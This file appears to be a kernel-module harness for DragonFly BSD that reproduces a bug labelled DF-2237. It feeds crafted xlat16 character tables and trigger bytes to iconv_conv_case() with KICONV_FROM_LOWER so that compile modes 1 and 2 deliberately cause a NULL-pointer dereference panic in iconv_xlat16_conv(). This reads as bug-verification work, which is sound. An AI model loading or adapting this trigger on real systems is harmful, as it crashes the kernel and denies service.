/*
 * DF-2237 KLD harness -- drives the REAL iconv_xlat16_conv() through the
 * exported libiconv KPI (iconv_open / iconv_conv / iconv_conv_case),
 * exactly the dispatch msdosfs uses via msdosfs_iconv->convchr_case()
 * (sys/vfs/msdosfs/msdosfs_conv.c:903,988 with KICONV_FROM_UPPER/_LOWER).
 *
 * Compile-time mode:
 *   0 : controls only -- must NOT panic; proves the crafted tables are
 *       otherwise-legitimate xlat16 tables.
 *   1 : single-byte trigger -- "\x41\x42" with KICONV_FROM_LOWER; entry
 *       'A' carries XLAT16_HAS_FROM_LOWER_CASE with target 0xC2 whose
 *       block (0x100) is absent -> NULL deref at iconv_xlat16.c:192.
 *   2 : double-byte trigger -- "\xab\xcd" with KICONV_FROM_LOWER; the
 *       _wctype table maps towlower(0xABCD)=0x8356 whose block (0x156)
 *       is absent in the main table -> NULL deref at iconv_xlat16.c:192.
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/iconv.h>

#ifndef KMOD_MODE
#define	KMOD_MODE	0
#endif

#define	STR_(x)	#x
#define	STR(x)	STR_(x)
#define	DF2237_NAME	"df2237_" STR(KMOD_MODE)

static void
hexpr(const char *tag, const char *p, size_t n)
{
	size_t i;

	kprintf("df2237: %s [%zu bytes]:", tag, n);
	for (i = 0; i < n; i++)
		kprintf(" %02x", (u_char)p[i]);
	kprintf("\n");
}

static int
df2237_event(module_t mod, int type, void *data)
{
	void *h = NULL;
	const char *in;
	char *outp;
	char out[64];
	size_t ilen, olen;
	int ret;

	switch (type) {
	case MOD_LOAD:
#if KMOD_MODE == 2
		kprintf("df2237: mode 2 -- double-byte _wctype FROM_LOWER trigger\n");
		ret = iconv_open("UTF-16BE", "DF2237W2", &h);
#else
		kprintf("df2237: mode %d\n", KMOD_MODE);
		ret = iconv_open("UTF-16BE", "DF2237CS", &h);
#endif
		if (ret != 0 || h == NULL) {
			kprintf("df2237: iconv_open FAILED ret=%d\n", ret);
			return (ENXIO);
		}
		kprintf("df2237: iconv_open OK handle=%p\n", h);

#if KMOD_MODE == 2
		/* control: plain conversion of the trigger bytes */
		in = "\xab\xcd"; ilen = 2; outp = out; olen = sizeof(out);
		ret = iconv_conv(h, &in, &ilen, &outp, &olen);
		kprintf("df2237: control plain conv ret=%d consumed=%zu\n",
		    ret, (size_t)(2 - ilen));
		hexpr("control out", out, sizeof(out) - olen);

		kprintf("df2237: >>> TRIGGER conv_case(FROM_LOWER) \"\\xab\\xcd\" "
		    "-- expect NULL deref in iconv_xlat16_conv\n");
		in = "\xab\xcd"; ilen = 2; outp = out; olen = sizeof(out);
		ret = iconv_conv_case(h, &in, &ilen, &outp, &olen,
		    KICONV_FROM_LOWER);
		kprintf("df2237: <<< SURVIVED ret=%d consumed=%zu produced=%zu\n",
		    ret, (size_t)(2 - ilen), sizeof(out) - olen);
		hexpr("trigger out", out, sizeof(out) - olen);
#else
		/* control 1: plain conversion, no case handling */
		in = "AB"; ilen = 2; outp = out; olen = sizeof(out);
		ret = iconv_conv(h, &in, &ilen, &outp, &olen);
		kprintf("df2237: control plain conv ret=%d consumed=%zu\n",
		    ret, (size_t)(2 - ilen));
		hexpr("control out", out, sizeof(out) - olen);

		/* control 2: FROM_LOWER whose target block IS present */
		in = "C"; ilen = 1; outp = out; olen = sizeof(out);
		ret = iconv_conv_case(h, &in, &ilen, &outp, &olen,
		    KICONV_FROM_LOWER);
		kprintf("df2237: control conv_case(FROM_LOWER) 'C' ret=%d "
		    "consumed=%zu\n", ret, (size_t)(1 - ilen));
		hexpr("control out", out, sizeof(out) - olen);

#if KMOD_MODE == 1
		kprintf("df2237: >>> TRIGGER conv_case(FROM_LOWER) \"AB\" "
		    "-- expect NULL deref in iconv_xlat16_conv\n");
		in = "AB"; ilen = 2; outp = out; olen = sizeof(out);
		ret = iconv_conv_case(h, &in, &ilen, &outp, &olen,
		    KICONV_FROM_LOWER);
		kprintf("df2237: <<< SURVIVED ret=%d consumed=%zu produced=%zu\n",
		    ret, (size_t)(2 - ilen), sizeof(out) - olen);
		hexpr("trigger out", out, sizeof(out) - olen);
#endif
#endif
		kprintf("df2237: mode %d complete\n", KMOD_MODE);
		return (0);
	case MOD_UNLOAD:
		return (0);
	default:
		return (EOPNOTSUPP);
	}
}

static moduledata_t df2237_mod = {
	DF2237_NAME,
	df2237_event,
	NULL
};

DECLARE_MODULE(df2237, df2237_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);
MODULE_DEPEND(df2237, libiconv, 2, 2, 2);
